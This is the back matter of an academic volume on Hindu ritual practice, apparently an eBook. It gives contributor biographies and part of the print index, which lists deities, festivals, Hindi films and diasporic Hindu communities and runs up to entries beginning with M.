**Corinne Dempsey** is associate professor of religious studies at Nazareth College. Her research interests include Hindu-Christian popular exchange in South India and Hinduism in North America, featured in her books _Kerala Christian Sainthood: Collisions of Culture and Worldview in South India_ (2001) and _The Goddess Lives in Upstate New York: Making Home and Breaking Convention at a North American Hindu Temple_ (2006). With Selva Raj she has edited three volumes on South Asian traditions that focus on popular Christianity, conceptions of the miraculous, and ritual levity. Her most recent work, _Bringing the Sacred down to Earth: Adventures in Comparative Religion_ (2012), compares Hindu and Christian strategies for accessing the sacred.
**David L. Haberman** is professor of religious studies at Indiana University Bloomington. He is author of _Acting as a Way of Salvation: A Study of Raganuga Bhakti Sadhana_ (1988), _Journey through the Twelve Forests: An Encounter with Krishna_ (1994), _River of Love in an Age of Pollution: The Yamuna River of Northern India_ (2006), and _People Trees: Worship of Trees in Northern India_ (2013). His work, which has focused on the rituals and aesthetics of the temple traditions of medieval and modern northern India, combines both textual research and ethnographic fieldwork. He continues to be interested in issues related to religion and nature and is conducting research on the worship of sacred mountains in India.
**Alf Hiltebeitel** is Columbian Professor of Religion, History, and Human Sciences at the George Washington University. His research focuses on the Mahābhārata and related texts, most notably the Rāṃāyaṇa, as well as Tamil Mahābhārata "folk" traditions. He is the author of dozens of articles and book chapters, as well as a number of monographs, four edited volumes, and several translations. His most recent publications include _Dharma_ (2010), _Reading the Fifth Veda: Studies in the Mah ābhārata_ (2011), _When the Goddess Was a Woman: Mah ābhārata Ethnographies_ (2011), and _Dharma: Its Early History in Law, Religion, and Narrative_ (2011).
**Philip Lutgendorf** is professor of Hindi and modern Indian studies in the Department of Asian and Slavic Languages and Literature at the University of Iowa. His book on the performance of the Rāṃāyaṇa, _The Life of a Text_ (1991), won the A. K. Coomaraswamy Prize of the Association for Asian Studies. He received a Guggenheim Fellowship in 2002–3 for his research on the popular Hindu "monkey-god" Hanuman, which was published as _Hanuman's Tale: The Messages of a Divine Monkey_ (2007). His interests include epic performance, folklore and popular culture, and mass media, and he maintains a website devoted to Indian popular cinema, a.k.a. "Bollywood" (<http://www.uiowa.edu/~incinema>). He is currently working on a social history of the beverage chai and on a new translation of the Rāmcaritmānas for the Murty Classical Library of India and Harvard University Press. He serves as president of the American Institute of Indian Studies.
**Leslie C. Orr** is professor of religion at Concordia University in Montreal. In addition to her book _Donors, Devotees and Daughters of God: Temple Women in Medieval Tamilnadu_ (2000), she is the author of a number of articles, including "Words for Worship: Tamil and Sanskrit in Medieval Temple Inscriptions" (in _Bilingual Discourse and Cross-Cultural Fertilisation: Sanskrit and Tamil in Mediaeval India,_ edited by Whitney Cox and Vincenzo Vergiani, 2012) and "Orientalists, Missionaries and Jains: The South Indian Story" (in _The Madras School of Orientalism: Producing Knowledge in Colonial South India,_ edited by Thomas R. Trautmann, 2009). Her current research project is titled "Renovation, Replication, Recovery, and Revival: Building Temples and Building Histories in South India."
**Linda Penkower** is associate professor of religious studies at the University of Pittsburgh and a former colleague of Fred W. Clothey, who inspired this volume. She has published on the historical, social, institutional, and doctrinal aspects of East Asian Buddhism, especially the Chinese Tiantai tradition. Previously supported by Fulbright-Hays and National Endowment for the Humanities Fellowships, she is currently completing two monographs: "Tiantai Buddhism and the Construction of Lineage during the Tang" and "Shared Sacrality," an annotated translation of the _Jin'gangbei_ (The Diamond Scalpel), the eighth-century Chinese locus classicus for the idea of insentient buddha-nature.
**Tracy Pintchman** is professor of Hindu studies and director of international studies at Loyola University Chicago. She teaches courses on Hinduism, ethnography of religion, and other religious studies topics. Her research interests include Hindu goddess traditions, women and religion, and transnational Hinduism. Her scholarly publications include about two dozen articles and book chapters as well as five books: two monographs, _The Rise of the Goddess in the Hindu Tradition_ (1994) and _Guests at God's Wedding: Celebrating Kartik among the Women of Benares_ (2005); two edited volumes, _Seeking_ _Mah ādevī: Constructing the Identities of the Hindu Great Goddess_ (2001) and _Women's Rituals, Women's Lives in the Hindu Tradition: Domesticity and Beyond_ (2007); and one coedited volume (with Rita D. Sherma), _Goddess and Woman in Hinduism: Reinterpretations and Re-envisionings_ (2011).
**K. Ramanathan** is associate professor in the School of Distance Education at the University Sains Malaysia in Penang. He has published articles on Hindu religious practice and the challenges it faces in the multiethnic society of Malaysia. His books on political science are used as textbooks and as reference material in Malaysia. He received his Ph.D. degree from the University of Amsterdam. His dissertation, "Hindu Religion in an Islamic State: The Case of Malaysia," examined the formation of and challenges faced by Hindu religious institutions and temples in Malaysia.
**Joanne Punzo Waghorne** is professor of religion at Syracuse University, where she researches issues of changing religious organizations, practices, and self-understanding in the present era of urbanization, globalization, and transnational migration. Her _Diaspora of the Gods: Modern Hindu Temples in an Urban Middle-Class World_ (2004) was recognized for "Excellence in the Study of Religion" by the American Academy of Religion in 2005. An earlier work, _The Raja's Magic Clothes: Re-visioning Kingship and Divinity in England's India_ (1994), was revived in an invited contribution titled "The Power of Public Splendour" in _Maharaja: The Splendour of India's Royal Courts_ (edited by Anna Jackson and Amin Jaffer, 2009), which accompanied a major exhibition at the Victoria and Albert Museum. A Fulbright-Hays Fellowship in 2007–8 supported her recent work on global guru-centered movements in Singapore and Chennai. "Global Gurus and the Third Stream of American Religiosity" (in _Political Hinduism,_ edited by Vinay Lal, 2010), reflects this new work.
**Paul Younger** is professor emeritus of religious studies at McMaster University in Hamilton, Ontario. He is the author of numerous articles and books, including _The Home of Dancing Sivan: The Traditions of the Hindu Temple in Citamparam_ (1995), _Playing Host to Deity: Festival Religion in the South Indian Tradition_ (2002), and _New Homelands: Hindu Communities in Mauritius, Guyana, Trinidad, South Africa, Fiji, and East Africa_ (2010). His most recent publications include "Learning about Hindu Practice: Fighting Late-Colonial Attitudes and Discovering Temples and Festivals" (in _Studying Hinduism in Practice,_ edited by Hillary P. Rodriques, 2011), "Hindus" (in _The Religions of Canadians,_ edited by Jamie S. Scott, 2012), and "M. K. Gandhi: A Post-Colonial Voice" (in _Teaching Religion and Violence,_ edited by Brian K. Pennington, 2012). He is currently conducting research on Hindus in Canada.
## INDEX
**The index that appeared in the print version of this title was intentionally removed from the eBook. Please use the search function on your eReading device to search for terms of interest. For your reference, the terms that appear in the print index are listed below.**
_abhi ṣeka_ (milk bath)
academia. _See_ Western academy
accidental rituals
action. _See_ physical acts; ritual action
actors, ritual
Adi-Dravida movement
Adigalar, Arulthiru Bangaru
Adiyātma Rāmāyaṇa (text)
Āgamas, the (Sanskrit texts); Āgamic Hinduism; Āgamic rituals; Āgamic temples
agency
Agni
Agni Purāṇa
Ainu bear ritual
Aiya (Sri Chaitanyananda); critiques of; on dyadic divinity; on female _vs._ male divine power; on menstrual pollution; on sacred thread ceremony; temple ironies and; on temple sanctum; on widow inauspiciousness
Aiyaṉār (deity)
Ajāmila (character)
_ak āma_ (without desire). _See also_ desireless action
altars: at Art of Living; in Canadian temples; home altars; at Tai Pūcam
America. _See_ United States
Amin, Idi
Amritanandeewari Society Building (Singapore)
Anaimalai (Tamilnadu)
ancient scriptures. _See under specificscriptures_
Anderson, Benedict
Andhra Pradesh (India)
Angkatan Belia Islam Malaysia (organization)
_anubh āva_ (expression of inner state)
_anuk āra_ (imitation)
_ā paddharma_ (laws for times of distress)
Āpastamba Dharmasūtra
Appadurai, Arjun
_ā rati_ (worship with oil lamp); in Canada; for Devī; in Hindi film; for Lakṣmī; of Rāma and Sītā; at Rāmṭekrī; of Santoṣī Mā; at Vaisno Devi Temple; in Vishnu Mandir
architecture. _See also_ temple layouts
Ardhanārīśvara (Śiva)
Ārdrā Darśana festival
Arjuna (warrior-prince)
art history
Art of Living (organization)
Arulmigu Bala Taṇṭāyutapāṉi Temple. _See_ Penang Hill Murukaṉ Temple
Aruṇakirināta (poet)
Ārya
Arya Samaj building
ashrams; Art of Living; guru; Śrī Maṭh
_ā śrama_s (life stages)
Assi Ghāṭ
Astro Vanavil (TV network)
Aśvaghoṣa's Buddhacarita (text)
Aśvamedha (horse sacrifice)
"Asya vāmasya" (hymn)
?ti Para Śaktī (goddess)
Attur (Tamilnadu)
audience: agency of; for Hindi film; as ritual actors; at Tulsī's wedding; Western audience
auspiciousness; appropriation of; at Ganesha Temple; as Hindu value; of Lalitā; of marriage; of Śivarātri; of Tulsī. _See also_ inauspiciousness
Australia
authenticity, claims to: in Canadian temples; in ritual practices; at Rush temple;
Tai Pūcam and
authority. _See_ ritual authority
Ayyappaṉ (god); temple for
Baba, Satya Sai (guru)
Babri Mosque
Bachchan, Amitabh (actor)
Bahl, Mohnish (actor)
"Baling Demonstrations" (Malaysia)
Bangalore, Karnataka (India)
Barisan (coalition)
Barjatya, Sooraj (director)
basil plant. _Seetulsī (plant)_
Batu Berendam, Malacca
Batu Caves, Murukaṉ Shrine at
Batu Pahat, Johore (Malaysia)
Baudhāyana Dharmasūtra
Bell, Catherine
Benares, Uttar Pradesh (Vārāṇasī, Banaras)
Benarsi Hinduism
Bengali Renaissance
Berde, Laxmikant (actor)
Berkeley, California
"Bhābhī terī bahinā to mānā" (filmsong)
Bhagavad Gītā: _dhárman_ and; on _karmayoga_ ; _svabh āva_ in; _svadharma_ in
Bhāgavata Purāṇa
Bhairava (Śiva)
_bhajan_ s (devotional songs): in _ā rati_; at Art of Living; on Astro Vanavil; in Canada; in _Jai Santoshi Maa_ ; at Rush temple; at Tulsī's wedding. _See also_ devotional singing _(k īrtan)_
_bhakta_ (devotees) of Śiva
_bhakti_ (devotion); _bhaktiyoga_ ; Rāgānugā Bhakti Sādhana
_Bhaktiras āmṛtasindhu_ (Gosvāmin)
Bhargava, Om Prakash (Canadian Hindu)
_bh āv_ (religious feeling), Rāmnareśācārya on
Bhavagad Gītā
Bhīma
_bh ū-devī_ (Bhūdevī, earth goddess)
Bhushan, Bharat (actor)
Biardeau, Madeleine
Bindu (actress)
Birjū (character)
blood sacrifices
Bodhisattva
bodily acts. _See_ physical acts
bodily practices: breathing exercises; of guru-centered movements. _See also_ yoga
"Bollywood," _See also_ Hindi films
Bombay, Hindi films in
Bose, Subhas Chandra
Bourdieu, Pierre
Brahmā (god); in Story of Guṇanidhi; _vs._ Subrahmaṇya; _tuls ī_ and
Brahmanic Hinduism; Brahmanization; in Canada; Murukaṉ in; Śrīvidyā tradition; texts
Brahman priests: in diasporic temples; in Malaysian temples; at marriage rituals
Brahmans: Ajāmila; _dhárman_ and; Laws of Manu and; Subrahmaṇya worship and; _svabh āva_ and; _svadharma_ and; _svakarma_ s and; Yajñadatta. _See also_ Śrīvidyā Tantric tradition
Braj, Uttar Pradesh (India)
breathing exercises
Brereton, Joel
Britain; British High Commission; British scholarship; spiritual movements in
British colonization: in Canada; in Malaya
British Columbia
Brodbeck, Simon
Brooks, Douglas
Buddha
Buddhism; Kuan-yin
Bühler, Georg
Burma
Burnham, Forbes
California, United States
Campany, Rob
Canada; Ati Para Sakti Temple in; Ayyappan Temple in; Canadian Council of Hindus; Canadian National Exhibition grounds; ethnic communities in; Ganesha Temple in; Hindu Samaj in; immigration to; Sikhs in, –4; storefront temples in; temple traditions in; Vaiṣṇo Devī Temple in; Vishnu Mandir in
Caṇḍa ("Uttarakhaṇḍa")
Caṇkam literature
_capparam_ chariots. _See also_ chariots
Caribbean
caste system: in Canada; Hindi film and; householders, renouncers, and; Indian identity and; Maha Mariamman Temple and; at Rush temple; of Tamil Hindus in Malaysia. _See also_ untouchables; _var ṇa_ (social classes)
_caturm āsa_ (monsoon period)
Caudhurī, Siddhārth (character)
caves: Batu Caves; images of Murukaṉ in
celibacy, of Rāmānandi renunciants
Ceylon. _See_ Sri Lanka
Chaitanyananda, Sri. _See_ Aiya (Sri Chaitanyananda)
_chakra_ (mystic diagram)
changes. _See_ transformation
chanting; of _bhajans_ ; in _Hum Aapke Hain Koun_ ; in _Jai Santoshi Maa_ ; in _kriyas_ ; at Rush temple; of Sanskrit verses
chariots; _capparam_ ; at Tai Pūcam
charities
Chennai, Tamilnadu; advertising in
Chettinad (Tamilnadu)
Chetti Pusam (celebration)
Chettiyar chariot procession
Chettiyars; description of; in Independent Malaysia; Nattukottai Chettiar Temple; origin of Chetti Pusam and; ritual performance and; Tai Pūcam and; worship of Murukaṉ by
chief of Sambuvaraya
Chinese: at Art of Living; in Canada; Chinese Chamber of Commerce; global spiritual movements and; in Malaysia; secularization among; in Singapore
Chingleput district (northern Tamilnadu)
Chola dynasty
Cholanadu (Kaveri River Zone). _See also_ Thanjavur district; Tiruchirappalli district
choreography
Christianity; at Art of Living; marriage licensing and; new religious movements and; Ramakrishna Mission and; in Singapore; in Syria; West African slaves and
Chua Beng Huat
Cidambaram (Tamilnadu)
cinema audiences
cinematography
circumambulation of fire _(phera)_
Cittrāpaurṇimai (Citraparvam, festival)
Civācāriyar, Kacciyappa
civil society
class: "classes" _vs._ "masses," economic liberalization and; gender and; in Hindi film; in Malaysia; Santoṣī Mā and; in Tai Pūcam ritual; Taṇṭāyutapāṉi and; in Tulsī's marriage ritual. _See also var ṇa_ (social classes)
Clothey, Fred; on boundaries; on Murukaṉ; on rituals
Coimbatore (western Tamilnadu)
Collins, Elizabeth Fuller
"Colloquy of the Brahman and the Hunter,"
colonialism; in Canada; in Malaya; origin of Hinduism and
commodity culture: guru movements and; in _Hum Aapke Hain Koun_ ; in Singapore
Communist Party of Malaysia
_Communitarian Ideology and Democracy in Singapore_ (Chua)
communities: ethnic communities; ethno-religious communities; faith communities; Hindu community in Canada; Hindu community in Malaysia; "imagined community," minority communities; religious communities in Canada; temple communities. _See also under_ specific _ethnic and religious groups_
complementarity, male-female; dyadic divinity
"Confucianisation,"
Congress Party
consorts: of Śiva; of Subrahmaṇya
consumerism. _See_ commodity culture
"consumer revolution,"
consumption
cosmic order, auspiciousness as
Council of All Beings
cricket (game)
"crisis of the state" (film theme)
critical writing. _See_ Western academy
_cult film_ ; mimesis of film; "ritualized" viewings
cultural values, changes in
culture: commodity culture; of consumption; ethnic subculture; popular culture; "public culture," women as bearers of
Cūraṉ (demon)
Dalit castes. _See_ untouchables
dance: circle dance of Kṛṣṇa; in Hindi film; _k āvaṭi_ dance; Raas
Garbha dances; at Tulsī's marriage
_da ṇḍa_ (rod of punishment)
Darasuram (Tamilnadu)
_dar śan_ ("seeing"); _dar śanic_ shot-reverse-shot
Dasāśamedh Ghāṭ
Declaration on Religious Harmony (Singapore)
de-ethnization
_Deewaar_ ( _D īvār_, The wall)
deities. _See under specific deities_
Democratic Action Party (DAP)
demonstrations by HINDRAF
Dempsey, Corinne
de-ritualization
de-sacralization
desireless action
Devasenā (Tēvayāṉai)
Devayanai (consort of Viṣṇu)
Devī (goddess); _ā rati_ for; as Śiva's consort; Vaiṣṇo Devī Temple
devotional circles: caste in; for Tulsī's marriage
devotional literature, about Murukaṉ
devotional rituals. _See p ūjā_s (devotional rituals)
"devotionals" (film genre)
devotional singing _(k īrtan)_
devotional songs. _See bhajan_ s (devotional songs)
Dhand, Arti
dharma; _dhárman_ and; _karmayoga_ and; ritual action and; _svadharma_ , _svakarma_ and. _See also svadharma_ s ("own laws")
_dhárman_ ; as "foundation,"
Dharmasūtras (texts)
_dh ārmika_
Dhṛtarāṣṭra (father of Duryodhana)
diaspora; definition of; globalization and; Hindi film and; in New York; ritual in; in Singapore
"Dīdī terā devar dīvānā" (filmsong)
diurnal rites
Divali, festival of
Divine Life Society (reform movement)
divine (sacred) marriage
divine power; female; male
Dixit, Madhuri
"domestication" of Hindu deities
domestic rituals
domestic space
Doniger, Wendy
Doobay, Bhupendranath
dowry
_Dramas, Fields, and Metaphors_ (Turner)
Dravida Kaḻakam (Tamil "self-respect" movement)
Durgā: in Canadian temples; in medieval temples
Duryodhana
Dvaipāyana (Vyāsa)
dyadic divinity; complementarity, male-female
dynasties. _See under specific dynasties_
_Earth Path, The_ (Starhawk)
East Africa
eclecticism, in guru-centered movement
economic growth
"economic liberalization,"
eco-spirituality
efficacy of physical acts
El-Ansary, Waleed
elephant of Subrahmaṇya
engagement _(sag āī)_ of Rājeś and Pūjā
England. _See_ Britain
English (language); in Canada; global English; in guru temples; _Hinduism Today_ ; Jaffna Tamils and; at Rush temple; at Vaisno Devi Temple
Enjar (Tamilnadu)
epigraphy. _See also_ inscriptions
Erumbur (Tamilnadu)
ethnic identity and religious affiliation
ethnicity: ethnic community; ethnic spaces _vs._ global spaces; _ethnoreligion_ ; ethno-religious communities; religious-spiritual impulse and
expatriots
expiation of Yudhiṣṭhira
extremists: Hindu extremists; Islamic extremists
faith: "faith communities," _vs._ religion; _vs._ spiritualism
fasting: at Kārtik _vrat_ ; of Satyavatī; for Śivarātri. _See also vrat_ (votive "fast")
feasting: after _vrat_ ; at weddings
fecundity: associated with Lakṣmī;
auspiciousness as. _See also_ fertility
female divine power
female impurity; menstrual pollution
fertility: auspiciousness as; Śiva and. _See also_ fecundity
festivals: in Canada; of Divali; at Ganesha Temple; of Holi; in Kārtik; power struggles and; of Prabodhanī Ekādaśī; of Tai Pūcam; of ?rdrā Darśana
films, Hindi; background on; conventions of; _Hum Aapke Hain Koun_ ; _Jai Santoshi Maa_ ; mimesis of; "ritualized" viewing of; ritual performance in; scholarship on; success of. _See Hum Aapke Hain Koun_ (film); _Jai Santoshi Maa_ (film); _specific films_
filmsongs. _See also under specific filmsongs_
fire rituals; circumambulation of fire; fire walking; _homa_
Fitzgerald, James Leo
folk songs
"foundation," _dhárman_ as
French settlers in Canada
Freud, Sigmund
fruits of action; desireless
action
fundamentalism and spiritualism
"Future of Religion in the Academy, The" (Ward)
_Gaja Gamini_ (Hussain 2000)
_g āli_ (bawdy songs)
Gandhi, Indira (Prime Minister)
Gandhi, Mahātma
Gaṇeśa (god); in Canadian temples; as father of Santoṣī Mā; Gaṇeśa Temple at Kuala Lumpur; in _Jai Santoshi Maa_ ; in medieval temples
Ganesha Temple
Gangaikondacholapuram (Chola capital)
Ganges River
Ganti, Tejaswini
Garuḍa Purāṇa
Gaurī (goddess)
Gautama Dharmasūtra
Geertz, Clifford
Gelugor (Malaysia)
gender. _See_ men; women
genres of Hindi film
George Town (Malaysia)
Germany
gestural activity. _See also_ physical acts
Gethin, Rupert
Ghadr movement (California)
_gh āṭ_s (near water): Assi; Dasāśamedh; Pancagaṇgā; Tulsī's wedding ritual and
Gillet, Valérie
Giri, Gnanananda
Giri, Haridas
Giri, Namananda
Gītā. _See_ Bhagavad Gītā
global civil society. _See also_ civil society
global English
globalization: diaspora and; _vs._ ethnic spaces; global civil society; global media; global spaces; inclusiveness and; religious militancy and; ritual and
goddesses. _See under specific goddesses_
gods. _See under specific gods_
Goldman, Robert P.
Goldman, Sally J. Sutherland
Gombrich, Richard
_gōpura_ (gate tower): in Ganesha Temple; in medieval temples
Gosvāmin, Jīva
Gosvāmin, Rūpa
governments: of Canada; of India; of Malaysia; of Singapore; of Sri Lanka
_Graceful Guru, the_ (Pechilis)
Great Britain. _See_ Britain
Gṛhyasūtra
Grimes, Ronald
group/social identities, ritual performance and. _See also_ identity
Guha, Anita (actor)
Gujarat
Gujaratis (ethnic group) in Canada
Guṇanidhi
Gunung Cheroh Sri Subramaniar Temple (Ipoh)
guru-centered (spiritual) movements; civil society and; consumption in; de-ethnization and; de-ritualization and; _vs._ faith organizations; global spaces and; _vs._ Indian-style Hindu temples; self-help in; shopping and; spiritualism and. _See also_ gurus
Gurudruha
_gurudw āra_s (Sikh temples)
Guruji. _See also_ Shankar, Sri Sri Ravi
Gurukal, Sri Muthu Kumara
gurus: freelancing; guru ashrams; mobile. _See also_ guru-centered (spiritual) movements; specific gurus
Guyana; priests from; temple rituals from
Haberman, David L.
Hamilton (Canada)
Hamilton temple. _See_ Hindu Samaj
Hancock, Mary E.
Hanumān (god)
Hardwar (India)
Hari (Nārāyaṇa/Viṣṇu)
Harman, William
Hawaii, USA
Hawley, John S.
H.D.G. (His Divine Grace)
Heelas, Paul
Hefner, Robert
hell _(naraka)_ ; Yudhiṣṭhira and
hierarchy: in ritual studies; in Tulsī's wedding ritual
Hiltebeitel, Alf
Hindi (language); _bhajan_ s (songs); in Canadian temples; kinship terms in. _See also_ films, Hindi
HINDRAF. _See_ Hindu Rights Action Force (HINDRAF)
Hindu and Muslim Endowments Ordinance (1906)
Hindu Endowment Board (HEB)
Hindu extremists; destruction of Babri Mosque by
Hinduism: Āgamic; Benarsi; definition of; Hindu Revival; Rāmānandi; universal; Vaiṣṇavism. _See also_ Brahmanic Hinduism; Vedic Hinduism
_Hinduism Today_ (magazine)
Hindu Mahajana Sangam (HMS). _See also_ "temple entry movement"
Hindu reform movements. _See_ reform movements
Hindu Right, the
Hindu Rights Action Force (HINDRAF)
Hindu rituals. _See_ rituals
Hindu Sabha (temple)
Hindu Samaj (temple)
"Hindusthan" (place of Hindus)
Hindu studies
Hindu temples. _See_ temples
Hindu Temple Society of North America
Hindutva (Hinduness)
history of Hindu India
HMS. _See_ Hindu Mahajana Sangam (HMS)
Holi, festival of
_homa_ (fire ritual)
home altars
Home Ministry (Malaysia)
Honolulu, Hawaii
householders
Hoysala dynasty
_Hum Aapke Hain Koun_ (film), –10; historical context for; _vs._ _Jai Santoshi Ma_ ; ritualization of; success of
Hussain, Abdullah (author)
Hussain, M. F.
hymns: of Aruṇakirināta; "Asya vāmasya," _dhárman_ in; at festivals; as part of daily worship; to Puruṣa ("Puruṣasūkta"); _T ēvāram_
hyper-individualism
Ibrahim, Anwar
icons _(m ūrtis)_; in Hindi films; _m ūlamūrti_s; at Rush temple; of Somāskanda; of Subrahmaṇya; at Tulsī's marriage. _See also_ Śiva _li ṇga_ (icon)
identity: agency and; "all-Indian," diaspora and; ethno-religious; group/social; national; ritual performance and; social; Tamil
_Ideology of the Hindi Film, the_ (Prasad)
_Images of Man_ (Clothey)
images of Subrahmaṇya. _See_ Subrahmaṇya, temple images/inscriptions of
"imagined community,"
imitation: accidental rituals as; of film (mimesis); intentional _vs._ unintentional; _s ādhana_ (imitation of _anubh āva_s)
immigration: to Canada; to Malaysia
implicit ritual
implicit theory
inauspiciousness: of _caturm āsa_; of Lalitā; of widows/women. _See also_ auspiciousness
inclusivity in guru-centered movements
Indian National Army
indigenous theory
Indo-Canadian Society
Indo-Iranian language
Indonesia
Indra
"inherent nature" _(svabh āva)_
inscriptions of Subrahmaṇya. _See_ Subrahmaṇya, temple images/
inscriptions of
"Instruction of Śuka,"
intention, in ritual performance; intentional _vs._ unintentional actions
_Interlok_ (Hussain)
Internal Security Act (Malaysia)
International Islamic University
International Sri Satya Sai Baba Organization (reform organization)
Ipoh, Perak (Malaysia)
Iranian Revolution (1979)
ironies of ritual
Isha Yoga Foundation
Islam: International Islamic University; Islamic Bank; Islamic extremists; Islamic resurgence; Islamist Parti Islam Semalaysia (PAS); Islamization of Malaysia. _See also_ Muslims
Jaffna Tamils
Jain Tīrthaṇkaras
_Jai Santoshi Maa_ ( _Jai Santo ṣī Mā_, film), –10; extended analysis of; historical context for; _vs._ _Hum Aapke Hain Koun_ ; ritualization of; success of
Jalan Sungai (Malaysia)
Jalan Tun H.S. Lee (Kuala Lumpur)
Janārdana
_jane ū/upanayana_ of Kṛṣṇa
Japanese
Jayabarathi, S.
Jeevan (actor)
Jews
_jñ āna_ (philosophical knowledge); _jñ ānayoga_
Jnana Sitthar Om Sri Rajayoga Guru
Saranam
Johor Baru (Malaysia)
_Journal of Indian Philosophy_
_Journal of the American Academy of Religion_
"Jūte do paise lo" (filmsong)
Kadavarayar
Kailasanātha temple
Kailāśnāth (character)
Kaimal, Padma
Kakar, Sudhir
Kalakattur (Tamilnadu)
Kaleshwar, Sri
Kālī (goddess)
Kalinga, Philippines
Kalpasūtras (ritual manuals)
Kalugumalai
_k āma_ _vs._ _prema_
Kampar (Malaysia)
Kāmpilya (ancient city)
Kanchipuram
Kāñcīpuram monastery (India)
Kannanur (Tamilnadu)
Kanta Purāṇam
_Kantar ala ṇkāram_ (poem)
_Kantar a ṉupūti_ (poem)
Kanyakumari district (southern Tamilnadu)
Karippacāmi (deity)
karma; _vs._ dharma; _tuls ī_ and; Yudhiṣṭhira and. _See also svakarma_ s ("own jobs")
_karmayoga:_ in Gītā; in Gītā _vs._ Manu; in Manu
"Kartī hūṃ tumhārā vrat maiṃ" (I perform your _vrat_ )
Kārtik (month)
Kārttikēya (Murukan_)
_kath ā_ (story); of Santoṣī Mā; in Sunday services; at Vaisno Devi Temple. _See also vrat-kath ā_
Kaushal, Kanan
_k āvaṭi_ (wooden arch); _k āvaṭi_ dance; _k āvaṭi_ procession
Kaveri River zone. _See_ Cholandu (Kaveri River Zone)
Keane, John
Kedah, Sultan of
Kerala, India
"Kerling Incident,"
Kerling Subramaniar Temple
Keśava
Khalsa Diwan Society
Khan, Salman
Khare, R. S.
Kher, Anupam (actor)
kings: auspiciousness and; Dharmasūtra on; Gītā on; Manu on; Ṛgveda on; ritualization of war and. _See also under specific kings_
kinship terms, Hindi
_k īrtan_ (devotional singing)
Kishwar, Madhu
knowledge, in ritual performance
Kodumbalur (Tamilnadu)
Kolar district (western Tamilnadu)
Kopperuncinka (Kadavarayar chief)
"Kotirudra Saṃhitā" (Śiva Purāṇa)
_kriya._ _See_ yoga
Kṛṣṇa (Viṣṇu): Arjuna and; in Canadian temples; in Hindi films; Kārtik _p ūjā_ and; marriage to Tulsī, –6; mythology of; Rāgānugā Bhakti Sādhana and; on _svadharma_ ; Yudhiṣṭhira tree and
Kṣatriya (warrior class): Gītā on; _karmayoga_ and; Law and Time; ritualization of war and; _svadharma_ of
Kuala Lumpur, Malaysia
Kuala Lumpur (Maha) Mariamman Temple
Kuan-yin (goddess)
Kumar, Ashish (actor)
Kumāra (Murukaṉ)
Kungiliya Kalāya Nāyanār (saint)
_ku ṇkum_ (forehead mark)
Kunrakkudi (Tamilnadu)
Kuntī
Kuru
Lagoo, Reema (actor)
Lake Ontario (Canada)
Lakṣmaṇa (god)
Lakṣmī (goddess); _ā rati_ for; in Canadian temples; in _Jai Santoshi Maa_
Lalitā Tripurasundarī (goddess)
Lallū (character)
Lamb, Ramdas
lance. _See v ēl_ of Murukaṉ
languages. _See under specific languages_
Laws of Manu
legend of Kungiliya Kalāya
Leonard, Karen
L'Hernault, Françoise, –3
Liberation Tigers of Tamil Eelam (LTTE)
_L'Iconographie de Subrahma ṇya au Tamilnad_ (L'Hernault)
life-cycle rites
_Life Is Not Complete without Shopping_ (Chua 2003)
Light, Sir Francis
_li ṇga_ of Śiva. _See_ Śiva _li ṇga_ (icon)
Liṇga Purāṇa
literature: ancient; Caṇkam; devotional; literary sources; popular; _vs._ ritual practice; Tamil
liturgical texts: for Santoṣī Mā; for weddings
Lorenzen, David
Low, James
Lutgendorf, Philip
Lyden, John C.
lyrics: in Hindi film; to "Kartī hūṃ tumhārā vrat maiṃ," to "Maiṃ to ārtī utārūṃ,"
Madhya Pradesh, western
Madurai district (southern Tamilnadu); Brahman priests from; marriage of Sundareśvara and Mīnākṣī in; Murukaṉ temples near; story of birth in
Mahabalipuram
Mahābhārata; on _karmayoga_. _See also_ Bhagavad Gītā
Maha Mariamman Temple. _See_ Queen Street Maha Mariamman Temple
Mahathir bin Mohamad
Mahāvīra (god)
Mahoney, William
"Maiṃ to ārtī utārūṃ" (filmsong)
_Maine Pyar Kiya_ (film)
Maintenance of Religious Harmony Act (1990)
Malacca, Malaysia
Malacca Sultanate (1402–1511)
Malay (language)
Malaya. _See_ Malaysia
Malayan Communist Party
Malayan Śaiva Siddhānta Sangam (reform movement)
Malays (citizens); deaths of; religious switching and; in Singapore
Malaysia; Hindu communities in; Hindu resistance in; Islamization in; religion and politics in; religious militancy in; Tai Pūcam ritual in; Tamil Hindus in. _See also_ Singapore
Malaysia Mukkolatar Association
Malaysian Consultative Council for Buddhism, Christianity, Hinduism, and Sikhism
Malaysian Hindu Sangam (MHS)
Malaysian Indian Congress (MIC)
male divine power
male gaze
male renunciants
malls as "sacred spaces,"
"Māmā-jī" (character)
_ma ṇḍapa_ (pavilion)
_mandir_ s (Guyanese Hindu temples)
Māṇikkāvacakar (saint)
Manu. _See_ Laws of Manu
Māra
marginality
Mariamman Shrine (Kuala Lumpur Mariamman Temple)
Māriyammaṉ (goddess)
Markham, Ontario
marriage: auspiciousness of; in film; human _vs._ divine; Jaffna Tamils and; in _Jai Santoshi Maa_ ; "love" _vs._ "arranged," marriage licensing in Canada; marriage season; material excess and; in _Mother India_ ; of Rājeś and Pūjā; of Rāma and Sītā; _vs._ sexual relationships; of Śiva and Pārvatī; of Sundareśvara and Mīnākṣī; of Tulsī and Kṛṣṇa
_mas ālā film_
"masses" _vs._ "classes,"
Mata Amritanandamayi (organization)
Mātaṇgeśvara temple
material evidence. _See also_ Subrahmaṇya, temple images/inscriptions of
materialism: in _Hum Aapke Hain Koun_ ; in Singapore; spiritualized
Maturai Vīraṉ (deity)
McMaster University (Canada)
medieval period; 7th and 8th centuries; 9th century; 10th century; 11th century; 12th century; 13th century
meditation; at Art of Living
"megachurches,"
Melakkadambur (Tamilnadu)
Melmaruvathūr, South India
men: in "Jūte do paise lo," male divine power; male gaze; male renunciants; in Rush temple ritual performance
menstruation: male divine power and; menstrual pollution; menstrual taboos; vulnerability and
method acting
"Method of Physical Actions" (Stanislavski)
MHS. _See_ Malaysian Hindu Sangam
MIC. _See_ Malaysian Indian Congress
Middle East
milk baths _(abhi ṣeka)_
milk offering _(p āl kāvaṭi)_
mimesis of film; "ritualized" viewings
Mīnākṣī (Pārvatī)
Ministry of Community Development, Youth, and Sports (MCDYS, Malaysia)
Ministry of Information and the Arts (Singapore)
minority communities
mise-en-scène
modernity
_mok ṣa_ (spiritual liberation)
monsoon period _(caturm āsa)_
mosques; Babri Mosque; in Canada
_Mother India_ (1957)
_Mughal-e-Azam_ (1961)
Mukkolatar Association
Mukteśvara temple
Muktirupananda, Swami
multiculturalism; Multiculturalism Act (1988)
Mumbai, Hindi films in
Muṉiāṇṭi (deity)
